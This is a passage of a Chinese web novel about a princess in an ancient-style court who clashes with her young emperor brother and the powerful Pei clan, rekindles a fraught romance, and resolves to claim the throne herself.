黄毛小儿!我恨不得抓着他的衣襟将他撂翻在地狠狠地打一顿!什么皇帝?一个只会随心所欲的人无法审时度势的人,如何能成为一个强大帝国的统领者?如何能够将这张龙椅安安稳稳地坐下去? “萱萱,彻查陛下身边前朝旧人,事无巨细,一一禀报。” - 蔡姬死了。 掖庭令禀报,只说有几个宫女年迈病逝,已妥善处理,恤金也已送到家中,让我不要担忧。 我叫彤管使去掖庭宫室里看过,原本幽禁蔡姬的那间宫室早已人去楼空,一尘不染,好似这里从未发生过什么可怕残忍的事情。 无父无母,无夫无子,无亲无友,生如浮萍,死如尘埃——这或许就是未央宫中大多数女人的归宿吧。 我前前后后又将掖庭令的奏疏仔细看了一遍,佯装胸闷,叹气道:“半年前先皇与太后相继崩逝,如今宫中又频频治丧。前朝后宫诸事繁杂,陛下久病不愈,本宫也常觉心头不安,觉得这宫中似乎有什么东西笼罩着……自新皇登基,除却祭祀宗庙,似乎也再无其他大傩逐除之事……不若就借此时机,让太常卿好好挑选些方士振子,为宫里驱灾祈福吧。” 太常卿挑选了十二童男童女和五位云游方士入宫,选定吉日吉时,于温室殿内戴赤衣皂,执大鼗、蒙熊皮,作十二兽舞。众人踏歌欢呼,手执火炬绕宫殿三周,跳跃着将火把手手相接送出殿门,门外禁卫接过火炬策马疾驰出宫,掷火炬于洛水中。 姜旻端坐帐中,童男童女焚香过身,方士高唱祝词,双手端上净水让他漱口。姜旻缓缓睁眼,接过耳杯漱了漱口,将水吐回碗中。 祷词接近收尾,声乐停歇,众人起身拜别姜旻,又转过来拜我。我虚虚抬手以示平身,扭头又对萱萱道:“这事儿办的不错,叫他们下去领赏吧。” 萱萱与我对视一眼,微微点头。 姜旻从榻上起身伸了个懒腰,深深地洗了一口气又吐出来,好似当真把体内的浊物排干净了一般:“朝中总有大臣忌讳鬼神之事,如今朕看来,鬼神之事也并非空穴来风、诡秘莫测。古人有载,必有其根据来源,有时也不得不信啊。” 我在心中无奈叹气,道:“上巳节陛下身体欠安,政事又纷繁复杂,没能修禊纳吉,今日之事不过就是遵从习俗,祓除不祥、祈求福泽罢了,哪有什么鬼神之说?子不语怪力乱神,陛下身为一国之君,鬼神之说切不可过于上心。” 姜旻见我反驳,面上又有些不好看,嘟囔着:“又说我……不是你要办的吗……” “我诓人随口说说的话你就记得那么清楚!”我恨不得耳提面命,“我跟你讲的那么多的道理你却一句都听不进去!” 眼见着又要吵起来,姜旻嘴一瘪,不再说话,转身去内殿看奏书了。 他越来越叛逆了。又或者说不是叛逆,身为帝王,他有自己的主见,有自己的思想是应该的。他必须长出丰满的羽翼与聪敏的头脑去治理这个国家,去庇佑他的百姓,可他的路真的走对了吗?真的能走对吗? 十一岁。 我在心中反复咀嚼着这个年龄。 十一岁的我已是齐国开国以来唯一一个拥有三处汤沐邑的公主,十一岁的裴仲琊于父亲寿宴作《东风赋》一时之间引得长安丝绢贵甚黄金,就连宋君若在他这个年纪都能够在上林苑跑马两夜射 7. 第 7 章 《有一个公主决定称帝》全本免费阅读 姜旻又否决了裴开项领兵出征的奏议。 整个早朝,裴开项脸色阴沉,朝臣们也如芒在背。 散朝后几个臣子借请安的名义来到广明殿,说殿下年幼,长姐如母,还请公主垂帘听政,以正朝威。 他们这么一说,我就知道姜旻又闯祸了。年少的帝王急于展示自己的权力与威严,想要向天下昭告他的治国才能,告诉大家谁才是这个国朝的主人。可他不知道,在许多人的眼里他只是个孩子,一个羸弱的、无力的孩子。 “陛下大了,有时也不听我的话。何况我留在宫中,也只是为了照顾陛下身子……” “殿下此言差矣,殿下自幼学长于宫中,所从之师皆当世大儒,吾辈实属难及。陛下年幼,若有您在身侧辅佐,必定如虎添翼。” 我无奈叹气:“那也得看陛下的意思。陛下虽是我弟弟,但如今君臣有别,我又如何能左右他的决议?除非……” 底下的臣子翘首以盼。 “除非……裴相或是众臣愿意我上朝,陛下或许能顺着你们的意思,让我再议朝事。否则,怕是不妥。陛下与裴相的矛盾,我也不再好掺和……” “殿下莫急!”一位老臣赶忙上前一步,“容臣等再作商议……” “或者……”我抬眼看他,若有所思,“舅舅是不是快从北边回来了?阴山下的长城快修建好了吧?” “对对对,是是是!”众人如蒙大赦,“刘将军快回来了!” “如今这些日子,就让我代舅履职等他回来吧。” 众臣得了我的准信,都如释重负地回家去了。 姜旻倒是用功,一下朝便将自己关在了温室殿看奏疏,间或还召集一些大臣进去问话。我候在侧殿,出来一个人便叫过来一个人——皇上问了什么?你是怎么说的?下的命令如何?事无巨细,一件件揉碎了讲清楚才放人。 姜旻虽说不同意出兵,但是对诸侯各国倒是颇为上心,尤其是对诸侯国中的私田归属问得最详细。郡国虽说是诸侯的封地,但并非所有的田地都归诸侯王所有,其间王土、私土颇多,因此官商勾结,官官相护,侵占良田,私占田亩之事数不胜数。 而裴开项籍贯琅琊,与楚国、胶东国两两相望,姜旻所忧并非一无是处。 可裴开项当真会反吗? 我端着点心敲开了温室殿的门。宦官侍女齐齐叩拜,从我手中接过盘子。姜旻抬眼望了我一眼,有低下头去看书,没有搭理我。 “还生我气?”我走近问道。 “不敢生姐姐的气。姐姐不过几日未上朝,便有那么多的朝臣惦念,我可没这好运气。”话刚说完,他便捂着嘴低低地咳嗽起来,见我还在,便咽了咽口水,强忍着喉间痒意,仿若无事。 “生病了就要看医生,就要吃药。你若想当好一个皇帝,难道不应该先管好自己的身体吗?” “我没病!”姜旻执拗,言语有些激动,“我只是不满裴开项,我反抗他、忤逆他,你们就觉得我是有病?姐姐,只要我们大齐多留一日他裴开项,我们就永远无法真正的做主,永远无法做自己想做的事情!你们都害怕……你们都害怕他,可是我不怕!我不怕变成蔡姬,更不怕成为父亲!即便是他要我的命,我也绝不会做软弱的羔羊!我只会把自己的利剑插进他的胸里……或者是我的胸里。我要做我们齐国堂堂正正的帝王!” 他压低声音,却抑制不住心中的汹涌澎湃与言辞激昂。他紧紧地握着毛笔,眼中迸溅的火花像是要将我灼烧。 “阿旻……你有这个心,也得有这个能力!否则就是玉石俱焚……” “那就玉石俱焚!我不怕!”他像是随时准备牺牲的义士看屈服者一般看着我,“姐姐不敢吗?还是说姐姐如今有了夫家,有了丈夫,嫁了人,就觉得自己和我们姜家无关了?不管我们是死是活,你都有退路可走?” 他似是激将,我却听笑了:“姜旻,以小博大乃有勇无谋,以大博小乃得不偿失。你我如今势微,舅舅又远在阴山,裴家历经四朝,朝中联姻无数、党羽盘根错节,以我们如今之力去铲除他那叫不自量力。你为一国之君,大齐万里山河都是你和你子孙的土地,他裴开项不过大齐朝臣,膝下独有一子,管他如何势大,让这江山改姓都难上加难,如今你以命相搏,若当真有三长两短,你岂不因小失大? “权臣之祸,我大齐也并非没有经历过。项家掣肘文帝明帝数十载,明帝不也是等到登基站稳脚跟才将他们铲除殆尽的吗?凡事要等、要忍,看准时机才能下手,如今像无头苍蝇般四处乱撞,你如何知道自己撞得不是刀口呢?” “可爹爹和伯父也等了啊,他们也忍了啊,他们的下场呢?”姜旻回忆前事,眼眶瞬间红了,“伯父清早被人发现死于榻上,七窍流血,至今死因不明。爹爹却裴开项拥立上位,却又被他被诬陷弑兄夺位,在幽室里被关了好几个月,出来时人都疯了。母亲呢……母亲小产而死,我就眼睁睁看着血从她身体下一点点流出来,流了一地……看着她脸色越来越白,越来越白……姐姐,你不是也看见了吗!阿娘她临终前还抱着你啊!你难道一点儿也不恨,一点儿也不想他们死吗?!” 我不想?简直可笑,我比任何人都希望裴开项死。他亲手摧毁了我的家、我的国,还有我那……可怜又可笑的爱情。我怎么能不恨他,怎么能不希望他死! “阿旻,想让他死和能让他死,是两码事。” 姜旻的眼睛一点点暗淡下去,脸色变得青白,他眼睑耷拉,嘲讽地扯了扯嘴角:“你还是不敢,姜毓卿,你还是不敢。是什么把你变成了这样?裴仲琊吗?还是裴开项? “我真是不敢相信……母亲竟然说她……最爱你……”姜旻揉了揉眼角,“你不如我,你不配。” - 姜旻太让我失望了。 年轻气盛有余却智谋不足,若只是个太学张扬自负的学生倒是还有一用,可他如今偏偏在那把龙椅之上。 初夏蝉鸣声声,萤火聚成微光悬在广明殿外的花池上晃悠,夜风忽来,吹散满树白蔷紫藤飘落窗棂,隔帘送香。萱萱灭了熏香,将窗户更加打开了些,拿着绢扇轻轻扇动着香气进屋。 心中烦扰,我披衣起身翻开田诠前几日递上来的公文。果不其然,郡县名字与田租数额犹如各色面团混杂一通,让人不知他是想做点心还是想下面。我拿着笔圈圈点点——天下提封田共一亿四千五百一十三顷,定垦田八百二十七万顷,去岁产粟十一亿石,多产于江北。兖州坐拥一百一十五县,人口田亩居第一,年收粟米一亿七千多石,上缴田租一千七百万石;益州一百二十八县,年收粟米一亿零三百石,上缴田租五百万石…… 五百万石?十一税该是一千万石才对啊。 我左右看了看,只见扬州九十三县,上缴的田租竟是一千三百万石,与兖州都要不相上下了。 这公文仿佛是田诠从睡梦中写出来的一般,读完通篇,仿若喉咙被硬生生塞进了棉花,难以下咽。 “写的什么东西!狗屁不通!算数都不会当什么治粟内史!”那么好的夏夜都被这不堪卒度的东西辜负了。 我有意泄愤,将田诠的奏疏狠狠丢出室外,眼不见心不烦。 “田诠写的东西不入你眼?”裴仲琊披着月光而来,捡起地上的竹简掸了掸,绕过屏风 8. 第 8 章 《有一个公主决定称帝》全本免费阅读 我想做皇帝吗?我能做皇帝吗? 裴仲琊的话一石激起千层浪,好似这般大逆不道的话并非出自他口。他拾起地上的酒爵放回桌上,又重新拿起一杯斟满:“只要你想。” “只要我想?”我反问。 裴仲琊没有回答,只是看着我,酒爵映照的烛火在他的眼底闪烁,好似盈盈水光。 我冷笑一声,并未从他手中接过酒爵。身子疲乏,我吹熄几案烛火,起身朝床榻走去。裴仲琊将酒爵一饮而尽,跟在我身后钻入纱幔之中。他一把擎住我的腰将我整个人掰过来,唇齿相贴,酒香蔓延,冰凉热辣的酒液顺着我的喉腔流入腹中。好似没完,他更加放纵肆意地掠夺,熟练地将纱衣褪尽。 我没有抵抗,宽容地揽住他的脖子,仰着头,迎接着他的亲吻与侵占。 “不要不相信我。” 我笑着推开他,勾了勾他的下巴,似真似假地试探:“好啊,那你告诉我,你父亲……有没有和五王勾结?” “没有。”他埋在我脖颈间嗅闻,讨好似的蹭蹭。 “当真没有?” “没有。我说过了,我从不对你说假话。何况你不也早就猜到了吗?” “是啊,毕竟我们比鲁王楚王好操控多了,是不是?”我眨眨眼。 “我不是这个意思……” “那我再问你,害死我母亲的,是你们裴家的谁?” 裴仲琊沉默地伏在我身上。见他不答,我一把将他推开:“呵,从今往后,你也别将自己说得与田议有什么百般不同了。刚才你跟我说的话,他也都能跟我说。” “田议不会,因为……害死太后的不是我们裴家的人。”裴仲琊摩挲着我的手指,没有将话说下去。 “不是你们裴家……” 好似有所东西抽丝剥茧渐渐显露——蔡姬、武陵侯、武陵……田家。 我叫萱萱将父亲后宫所有妃嫔的籍册拿来,浩瀚卷册中找出蔡姬那一卷——蔡夷,字子蔷,武陵索县人士,自幼父母双亡,五岁为索县农户田氏夫妇收养,十二为武陵侯府歌姬,十四入宫封七子,十五封美人,十七封婕妤,帝崩,无子殉葬。 饶她生前美艳无双,宠冠后宫,史书都不会提她一句。这无关紧要卷册上的寥寥一句,就是她的一生。 裴仲琊替我收好卷册,我问他:“你到底为什么帮我?田家到底是你们裴家党羽,你这样把他们的秘密告诉我,不怕我杀了他们?” “他们毒害太后,本就是他们有错在先,死有余辜。” 我嗤笑:“真是难得在你脸上看见这种表情,我还以为你一辈子都讲不出这样的话呢。” 裴仲琊褪去衣裳坐回我身边,用梳子替我顺着头发。 “那你父亲呢?”我又问,“你不怕你父亲知道?” “他们做那样的事都不怕父亲知道,我有什么好怕的?” ”你这话说的,好似裴开项对我娘有多忠心似的。“我嘲讽,却感受到他梳头的手微微一滞。 “那你父亲有惩罚他们吗?”我好整以暇地看着他。 “你见过田家主母吗?” 闻言我心中一惊。 我与田议成婚后便一直住在宫中,从未去过田府,只听闻田家主母身体抱恙返乡修养,难道那时便已经…… 裴仲琊没说话只是朝我点了点头。 “田家……毫无怨言?” “毫无怨言。”裴仲琊弯腰替我脱去丝履,“于他们而言,可能全家的前程更为重要吧。” 我冷笑:“可她去做那样的事情难道不是他们默许的吗?甚至都有可能是他们指使的,田家主母……就只是个出头鸟和替罪羊……” “所以我告诉过你,田家没一个好东西。田诠曾经做过什么事你比我更清楚,田议……暂且不提,田冲对结发妻子都能如此狠毒,教导出来的儿子,又能有多良善?” “那你呢?”我笑了,“裴开项这样的父亲教出来的儿子,会是善良的吗?” “你觉得我和我父亲像吗?”他认真地望着我,自问自答,“一点儿都不像,你小时候就跟我说过了。你还说,裴家世代行伍,怎么会出了我这么一个病秧子。你说完以后我就又生病了,吓得你立马来找我赔罪,说以后去上林苑骑马都带我……” “我忘记了。” 他仍旧不停:“全都忘记了吗?正月二十一,穿天节,我生辰,你自己下厨,你还送我穿天石……” “不是已经被我砸碎了吗?碎了就不作数了。” 他不再说话,我不忍看他面上的神情,滚进被子里,闷闷道,“什么都不作数了。” 周遭良久的安静,只有裴仲琊绵长又颤抖的呼吸声。心脏隐隐发酸,我抹了抹眼角,逼迫自己睡觉。 身边的床榻陷了下去,一双温暖的手臂掀开被子,环上我腰际,似有若无的气息拂在后颈,长发扫过脖颈,他半撑着身子,将两人都笼罩于殷红色的被子下,在我的眼尾烙下一个吻,轻声道:“睡吧。” 眼泪又要出来了。我挣扎着从他的怀抱里出来,背后的人却突然咳 9. 第 9 章 《有一个公主决定称帝》全本免费阅读 我怎么也想不到宋君若这个时候来了。 今日休沐,我睡醒后也懒得起床,裴仲琊明明醒了却不睁眼,仍旧牵着我的手睡着。我不拆穿他,仍由他握着,看着夏日的阳光层层照透门扉窗牅,照进帷帐纱幔,照在我们两个人的身上。 曾几何时,我想过无数次这样的场景——大齐公主出降,百姓倾巢而出,连横门大街都被围得水泄不通,群芳争艳、百兽齐欢,我与裴仲琊接受大齐万民的祝福。我不想待在裴府,也不想待在长安,我会去雍丘,和裴仲琊一起去我的封地。 我要和我所有的兄弟一样,做一方诸侯,而我最爱的男人会成为我最信赖的臣子。他将会辅佐我治理我的封国,让我的百姓过上更好的日子,让我成为万人称颂、百世铭记的诸侯王。日出同作,日落同息,每天一睁眼,就是他平静安详的睡颜。他会牵着我起床,替我穿衣描眉,伴我一同早朝。 男人还是曾经的男人,但心境却早已不是曾经的心境。 我暗自叹了口气,刚要起身,萱萱就急急忙忙从外头跑进来:“不好了不好了——” “田议来了就来了,慌什么?”我慢条斯理地顺着头发。 “不是田议,是表公子!” 我心中一凛,大叫不好,起身就要出去穿衣服,被裴仲琊一把抓住了脚踝。 “你干什么!快放开我!”我一只脚在床榻里,一只脚在地上,“阿若来了,你快起来!被他看见非砍了你不可!” “他为什么砍我……”裴仲琊睡眼惺忪地睁开眼,好似刚醒似的,还有闲心捏我脚踝,“你那么着急做什么?阿若这孩子守礼,定不会贸然冲进来……” “裴仲琊我杀了你——” 拦不住,根本拦不住。宋君若是唯一一个能佩刀入我殿的人,我现在确实后悔给了他这样的特权。 刚下校场的他一身热血热汗,听见裴仲琊朦胧的声音,拔刀就冲过屏风朝床榻砍去。我和萱萱一个拦腰一个握臂,连声劝阻:“阿若你冷静点!冷静点!” “姐姐你别拦我!我今日不砍了他我就不姓宋!” “裴仲琊你快走!”我根本不知道该劝哪个,“阿若你听我说,你别冲动——把刀放下!再不放下我就生气了!我再也不理你了,广明殿你也别想来了,住回你的宋府去!” 宋君若闻言惊愕回头:“姐姐……你为了他要将我赶回宋府?” “我……我不是这个意思……”我见机取下他手中的长刀,“姐姐是不希望你酿成大错,到时候我不想你走你也得走了。” 萱萱连连点头,也附和道:“表公子冷静……” 此情此景,裴仲琊竟然还能淡然自处,施施然从床上起身,掀开帷幔,朝着宋君若笑:“人是长大了,但心性还跟个孩子一样。” 宋君若怒目圆瞪,“你若说我是小孩子,那你就是连小孩子都不如。我至少知道缘分已尽就要干脆利落地分开,人不待见自己就别老是往跟前凑,而你呢?不能招惹的人非招惹,不能做的事非做,到头来这边伤心那边恼怒,你又得着什么了?一时快活吗?你还有脸说我?!” 裴仲琊面上本还带着倦意,被宋君若劈头盖脸一顿骂,那点惺忪之态荡然无存。眉目低垂打量着这个愤怒的少年,不言不语。 “你……你就该永远消失在姐姐面前!”宋君若像一只狂躁狰狞的小兽,对敌人露出了所有的獠牙。 良久,裴仲琊轻声一笑,抬手揉了揉他的脑袋,被宋君若躲开。 “都长这么高了……”他似是感慨似是惊讶,喃喃,“但是长得再高,在我们俩面前,你和姜旻都一样,都只是孩子。我们两个人的事……我们自己会解决。你得相信你姐姐。” “谁跟你我们!” “好了!”大清早的就不让我安生,吵得我太阳穴突突跳,“能不能安静会儿!阿若你先去外头等着,这样横冲直撞的成何体统!——萱萱,给表公子看看后背,再给他上点药。” “我已经好了……”我一凶,宋君若就偃旗息鼓了,眉毛一耷,乖乖地跟着萱萱走出去,“为什么他就不用走……” 小蛮拿来裴仲琊的衣裳,我丢给他让他自己穿上。裴仲琊动作慢极了,一个腰带系三回,一张脸洗三遍,香膏也是每次取薄薄一层,涂开,再取一层——看得我心火都要烧起来了,夺过香膏狠狠地?了一勺就往他脸上抹去。 裴仲琊嘴角噙着笑,随我造作。 宋君若在外头不满:“裴御史动作那么慢,难道连洗脸都不会吗!要是这样,就趁早回家找爹爹去吧!” 裴仲琊悠然自得地挂上玉佩,回敬:“家父素来严苛,只教在下多在外历练,并不催促回家。倒是长阳侯爱子心切,一直催促阿若你临淮啊。有这样的好父亲,你怎么不回家?” 他话还没讲完,我就重重地拍了一下他的肩膀,立即开口问宋君若:“阿若,你背上的伤好了吗?” “本是该好了,看见罪魁祸首的儿子又不好了。” “行,我让他走。”我推着裴仲琊走出内室。 宋君若刚上好药,正在穿衣服——少年郎胸膛更加宽阔了,臂膀坚实有力,眉眼丰逸俊朗、炯炯有神,坐在那儿如山如岳。 二人互看一眼,我连忙挡在视线中间。 别说话了,别说话了,再吵起来就把你们两个全都赶出去! “你方才还说你不砍了我就不姓宋?” 天杀的裴仲琊嘴巴长了是让你吵架的吗? 宋君若果然又被激怒,拍桌子起身就吼:“裴仲琊,我今日看在姐姐的面子上不对你动手,你别得寸进尺。再说了,不姓宋就不姓宋,我能有多稀罕他长阳侯的爵位和封地?能有你稀罕裴家的吗?我大不了就跟我母亲姓姜,还能跟我姐姐一个姓!你呢?你能随母姓改姓陈吗?你愿意改姓吗?你不能也不愿意吧!” 裴仲琊素来清冷隐忍,奈何宋君若三番两次挑衅他,那淡漠平静的面具也再撑不下去——眼皮一垂,脖子一昂,眸中寒光恻恻,冷相威严。 我头疼欲裂,连忙将他推出殿外,好言相劝:“一个孩子,你跟他计较……吵得我头都疼了。你赶紧走吧!” 裴仲琊又瞥了一眼殿内,顺着我的手将我揽入怀中,低头在唇上轻轻一印:“我走了。” “裴!仲!琊!”身后的小狼又咬牙切齿了。 我赶紧将他推开:“走!” - 宋君若这个年纪的孩子太难哄了。满桌荤菜,鹿肉兔肉獐肉都上了,他就是干吃饭不吃菜。 我夹了块肉饼递给他,他就把饭碗挪走。 啪! 我 10. 第 10 章 《有一个公主决定称帝》全本免费阅读 广明殿居于未央宫东北侧,坐北朝南,夏季的阳光极好,整间屋子都亮堂堂的。刻漏滴着水,泛着荧荧微光,在宋君若的脸上荡开一圈圈涟漪。 我们沉默地对视着,他眼眸中是从未有过的认真与郑重:“姐姐想要那个位置吗?” 那个位置,那张龙椅,好似从来都是只属于男人的,祖父、伯父、父亲,他们一个个上去又下来,可那个位置永远为他们敞开。而我、我们好似永远都只能遥望着,企盼着能靠近一点,再靠近一点,借着那个位置散发出来的一点点余温,以此慰藉自己在这冰冷孤寂的深宫中能够多苟延残喘一日。 可我要永远这样吗?曾经只能躲在父辈的庇护羽翼之下,如今危机四伏,我难道也只能依靠我那个年幼无知、横冲直撞的弟弟吗? 若这大齐是姜家的天下,那除了我的兄弟们,它也可以是我姜毓卿的天下。乱世群雄逐鹿,只要有能耐人人都能分一杯羹,何况我早已站在权力的漩涡,与那巅峰触手可及。 弃而降,做一辈子任人宰割的羔羊,被那些胜者当做战利品瓜分殆尽;起而争,尚有一线生机杀出血路,为自己安身立命争得一份天地。 何惧何忧,唯一条命尔! “是。”我盯着他的眼睛,“我想要。” 宋君若眼中的笑意渐渐晕开,他掷筷于地,欣喜若狂:“好!只要姐姐决心如此,那我就是你最锋利的剑,为你扫清一切障碍,永远为你开路!你知道的,从父亲抛弃我的那天起,我就永远站在你这边了。” - 母亲生于夏夜,外祖母说母亲就像夏天最躁动的小兽小虫,聪慧好学、动如脱兔,偌大的长安关不住她,就喜欢往乡野阡陌上跑。母亲儿时有很长一段时间随从母住在琅琊郡,怎么喊都喊不回去。只等到十六岁,万不得已要完成与父亲的婚约,才从琅琊郡返回,嫁去楚国为楚王后。 我不知道在楚国的那些年岁里,母亲到底是快乐还是悲伤。她失去两个孩子才生下的我,那一年她已经二十六岁了。我仍旧记得她时常怀抱着我,说我是她的福星,说我们俩母女缘分深厚,天注定我就是要降生在她的肚子里,做她的女儿。 我也很庆幸自己能够成为她的女儿,她爱我,她将一切能够争取掠夺来的权力利益都给我——我长公主的头衔、所有的封地纳贡和一颗勇敢自由的心。 我跪在母亲牌位前,听着礼官的颂歌,思念着过去十八年的如梭光阴。 侲子着素衣、系红绸、执雉羽,六十四人端正齐谐,舞《武德》《文始》《五行》。礼官献牛、羊、豕太牢之礼。姜旻于蒲团上起身,三献醇酒,肃立敬拜。我跟在姜旻之后,为母亲斟酒焚香。 “阿娘,生辰吉乐……”我垂首自语。 姜旻跟着礼官出殿绕庙完成祭祀,我长跪于祭台前,看着香炉袅袅升烟。宫女敬立左右,肃穆不语,其中一人端着醇酒,眼神两次三番往外瞟去,又收回目光仿若无事。 鹅蛋脸、远山眉、杏眸秋水、柳腰花态,眉间点红,似蹙非蹙,于一众侍女中非凡夺目。 长得这般好看温顺,也难怪姜旻喜欢。 礼官于殿外高唱礼成,众人齐齐跪拜,我伏首于蒲团之上,姜旻从我身边走过。 “母亲,寿宴安康,愿您早日升仙、长伴王母、无病无痛、无灾无忧。”皇帝敬香谢神,众人鱼贯而出,偌大宗庙只余下我们姐弟二人。 阳光穿过大门照在母亲的牌位上,烛火摇曳,编磬悠远,风铃清脆,香掉了一截又一截的灰,我们相顾无言。 “姐姐可曾思念过母亲?” “想过。” “面对裴家的时候呢?想过吗?” “你觉得呢?”他又开始了,我心中积郁的怒气正在一点点外泄,引线呲呲啦啦地跑着,就等什么时候到了终点直接引爆。 “前几日,裴开项又上奏请示讨伐五国,以裴家子孙为将帅领兵讨贼。姐姐,你不觉得是贼喊捉贼吗?”姜旻背对着我,“还是说,你仍旧相信裴开项无不臣之心。你敢当着母亲的面,坦白地告诉我吗?” 我盯着姜旻,嗤笑道:“我有何不敢?姜旻,我是犯了什么十恶不赦的错误,值得你用母亲来威胁逼迫我?” “那你为何要一次又一次地反驳我质疑我,反而去支持裴开项!?你是我姐姐,是我亲姐姐!” “你觉得,我赞同支持裴开项,是因为惧怕裴家的势力吗?偏听则暗,兼听侧明,裴开项确是嗜权无厌,只手遮天,但他历经三朝,政治远见谋略远在我们之上,我们如何能够因私废公,不顾大局?难道像你那样只顾听从身边亲信就是好的吗?” 姜旻神色一变:“你监视我?” “监视?”我觉得可笑,“你与李思冲日夜相伴,政事都能让他掺和一脚,如此明显,我还用得着监视?别说我了,即便是不住在未央宫的朝臣,怕是也瞧出来一半了。陛下,自古亡国不外乎四种,诸侯、外戚、权臣、宦官。如今四头我们占了两头,你还想要让权给那些阉人?” “李思冲本就是父亲手下的人,他就是我们的人!” “父亲在时他不过一介小人,就是个庭院里洒扫点灯的人,连父亲的面都不曾见过。如今父亲去世,他狐假虎威充大王,你还当真把他当块宝!” 臣子在外,我们不得不压低了声音,心中气血翻涌,不由得气喘吁吁,吵得面红耳赤。 我指着母亲的牌位,直直盯着他:“你让我对着母亲坦白,那好,你也给我说说,鲁南五王虎视眈眈、伺机而动,你当真视若无睹,稳坐长安求太平?” “我并非求太平。”年幼的身躯撑不起帝王宽大的礼服,衣袂裙裾堆叠,姜旻看着我,“我是你的兄弟,更是你的君主,你应该理解我支持我,永远在我的背后看着我!而不是一而再再而三地反 11. 第 11 章 《有一个公主决定称帝》全本免费阅读 “殿下,近几日宫中议论四起,都在说您祭祀当日引来白鹤之事。陛下恼怒,命人彻查,抓了几个人打了板子,赶出了未央宫。” “只是赶出未央宫?” 萱萱点头:“对。” 这孩子,当真是年幼无知。将传言之人从宫内赶到宫外,就不怕他们声势越造越大?不过他此举也正中我下怀,我又问:“阿若呢?” “表公子已经将那几只白鹤放归山林了。也多亏表公子时常在外跑动,不然我们可不知道怎么将白鹤引来。” “阿若平时看着吊儿郎当,其实做事靠谱得很。宋炎甫整日只知道围着莺莺燕燕转,有眼不识泰山将孩子丢给我们养,也是他没有福分。” 正说着,宋君若就从外风尘仆仆跑来,大步走到我身边坐下,就着水壶几口见底。他递给萱萱:“还要。” 萱萱哭笑不得,连忙起身给他添。 我拿着蒲扇给他扇风,又从袖中抽出帕子给他擦汗:“今日不是休沐?又去校场了?” 宋君若拿过帕子凑在鼻子下猛嗅:“好香……我没去校场,我去打听裴家的事了。” 我扇风的手微微一顿:“你打听他们家的事做什么?” “姐姐的心思我晓得——如今裴家势大,但他们不会做出篡位夺权之事。平五王之乱,我们也多要仰仗他们,所以裴家他们对你的认可是最最重要的!姜旻对那些传言如何反应不用猜都知道,但你知道裴开项什么反应吗?” 他故弄玄虚,我也乐于配合:“什么反应呀?” “他没有反应!”宋君若眼晶晶亮。 “没有反应也值得你高兴?” “他没有反应就是天大的好事啊。他一没有替姜旻处理,二没有禁绝传言,而是任由事态发展,这就是默许啊姐姐!” 我笑着揉了揉他的脸:“没错,我们阿若真聪明。相较于一个精明聪慧的君主,裴开项如今更需要的,是听话懂事,能让他名正言顺做事的天子——或者说是,傀儡。我为天子胞姐,身有皇家血脉又是田家的儿媳。论出身地位,我这个女人比皇子好控制得多也好用的多。他别无选择,我是他最好的选择。” 宋君若听我说完这话,方才的欣喜化作满面愁容:“虽说我们得到了想要的结果,但一想到要活在裴开项的威压之下……” 我摸着他的脑袋:“大丈夫能屈能伸,审时度势才是最重要的。只要能实现我们的愿望,那付出再多的委屈与心酸都是值得的。” 宋君若拉下我的手,攥在手心里。手掌热烘烘的,粗粝的茧子摩挲着我的手心,痒痒的。 “还有一事……”宋君若小心翼翼地瞧了我一眼,“我……我是不小心听见的,姐姐你听了可能心情会不好,你、你要不要听啊?” 我有些好奇:“有裴家和姜旻天天跟我闹,还有什么事情能让我心情更加不好的?” 宋君若嗫嚅着嘴唇,眼一闭心一横:“裴开项给裴仲琊和陈蕴定了婚期了!” 心脏被猛然揪紧,五脏六腑抽动,恼人的熏香不停地钻入鼻腔,惹得我头晕目眩。胃里阵阵翻江倒海,恶心得想吐却吐不出来,空余刺痛阵阵。 我平息了一下呼吸,故作轻松:“什么时候?” 宋君若看着我:“今年十月初二完婚。” “……我是问什么时候定下的婚期。” “啊。”宋君若挠了挠头,“就舅母冥诞祭典之后。” 呵,我说这几日怎么不见踪影呢,原来是有新人了。也好也好,从此后就是两个成婚的人,形同陌路,再无瓜葛,日后若是腥风血雨,也不会有什么恻隐之心下不去手。 “挺好。裴家与陈家素来交好,陈家又是他母家,表哥表妹,亲上加亲。”我斜倚在凭几上扇着扇子,“只是希望这次他别再忤逆裴开项,到时候即便是裴陈两家交好,也下不来台面了。” 宋君若目不转睛地盯着我,悄悄地拉过我的手,低着头问道:“姐姐,与我们一起长大的人那么多,为什么你唯独对裴仲琊情有独钟呢?” 我抽出手,失笑:“情有独钟?哪只眼睛看见的?当年是父亲赐婚,我才与他交好。不然他一个书呆子加病秧子,我才不会喜欢他!如今看来,父亲赐婚恐怕也不是自愿的,当时裴开项四处笼络势力,尚公主也必定只是他的一步棋而已。我与裴仲琊的那些过往……怕也是虚情假意、逢场作戏,算不得数。” “哦……”宋君若捂了捂自己的胸口,“那算了。” “什么东西藏着掖着?” 宋君若有些为难:“所谓知己知彼,百战不殆。裴陈两家再次联姻,根基愈加牢固,我怕那个陈蕴不是个好对付的角色,所以就先把她的生平履历给查到了。” “你要死了!”我伸手就将他的耳朵拧住,“未出阁的姑娘是你能随便查的?若是被旁人知道,还不把舌根嚼烂了?你倒是没事,你让人家陈家姑娘怎么办?” 宋君若疼得龇牙咧嘴,连连讨饶:“我没有让别人知道!我从陈府外的街坊邻居那儿打听来的。他们闾里都知道陈裴两家结亲之事,人人都在议论,我随便搭个话他们就都讲了。” 我松开手,没好气:“下次不许这样。” “我再也不了!”宋君若掏出布书递给我,“那……姐姐你要看吗?” 我瞥了一眼连忙将眼睛挪开:“不看,有什么好看,与我何干?陈家世代簪缨,裴母虽早逝但也是一等一的好人物,陈家教出来的女儿总不会差的。裴开项也就裴仲琊一个儿子,哪舍得他受委屈。” “哦……那我收起来了?” “问我作甚?你自己要看就看,与我无关。” - 都怪宋君若白天跟我提起了这茬,是夜我做了无数个光怪陆离的梦,一会儿是紫藤花架下我问裴仲琊“何谓‘姜’”,一会儿是母亲攥着我的手让我带着弟弟好好活下去,一会儿裴仲琊又出现在广明殿外喊着让我出去见他。我恍惚睁眼,太阳还未升起,一切都是黛蓝色的,殿外人影走动,好似上一刻裴仲琊真出现在那儿过。 我缓缓起身,发了会儿呆,朝着帐外喊人。 萱萱披衣走来,问我怎么了。 我支吾半天,按了按太阳穴:“我睡不着了,拿点东西来给我看吧。” 萱萱从几案上整理了一些竹简帛书拿进帐子,又替我掌了灯倒了水才打着哈欠离开。 我上下翻了翻,发现里头竟夹着宋君若今早带过来的布书。我望了一眼萱萱的背影,将那布书抽了出来。 